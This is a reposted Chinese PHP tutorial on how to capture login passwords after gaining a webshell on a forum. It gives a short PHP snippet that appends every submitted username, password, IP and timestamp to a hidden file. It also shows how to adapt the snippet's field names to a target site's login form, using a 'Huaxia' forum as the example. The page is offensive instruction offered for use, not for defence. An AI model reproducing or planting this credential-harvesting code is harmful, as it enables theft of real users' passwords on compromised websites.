截取php后台登陆密码的代码_PHP教程

WBOY
Release: 2016-07-13 17:43:58
Original
989 people have browsed it

拿到webshell之后,想要进一步渗透,诸如discuz的密码,不是直接用md5加密的,破解难度很大。以前帮大头写过一次,昨天小猪大哥正好用到,就又写了一遍。代码比较简单,就几句话,我把原理说的详细点,照顾下对php不太了解有朋友。

 
 
if($_POST[loginsubmit]!=){ //判断是否点了登陆按钮
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 连起来赋值给变量$sb 
fwrite(fopen(robot.txt,ab),$sb);} //结果写入一个文件
 
 
下面简单分析一下,以华夏的登陆页面为例。打开bbs.xxx.com/login.php 右键查看源码,CTRL+F搜索action找到登陆的表单。
 
我只复制了关键代码过来.
 
 
//action后面的值即是表单提交的地址,里面会处理登陆,比如判断密码是不是正确什么的 method为POST,所以用$_POST接收。
 
。。。。强大的省略号。。。。。。
 
账号(U):
class=input id=pwuser accessKey=u size=16 
name=pwuser>
//用户名的input输入框, 注意其name的值, 要和$_POST[username] 这里面的对应, 所以要截取华夏的密码,需要改为 $_POST[pwuser]
 
密 码(P):
class=input id=pwpwd accessKey=p 
type=password size=16 name=pwpwd>
//用户名的input输入框, 注意其name的值, 要和$_POST[username] 这里面的对应, 所以要截取华夏的密码,需要改为 $_POST[pwpwd]
 

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/478807.htmlTechArticle拿到webshell之后,想要进一步渗透,诸如discuz的密码,不是直接用md5加密的,破解难度很大。以前帮大头写过一次,昨天小猪大哥正好用到,...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!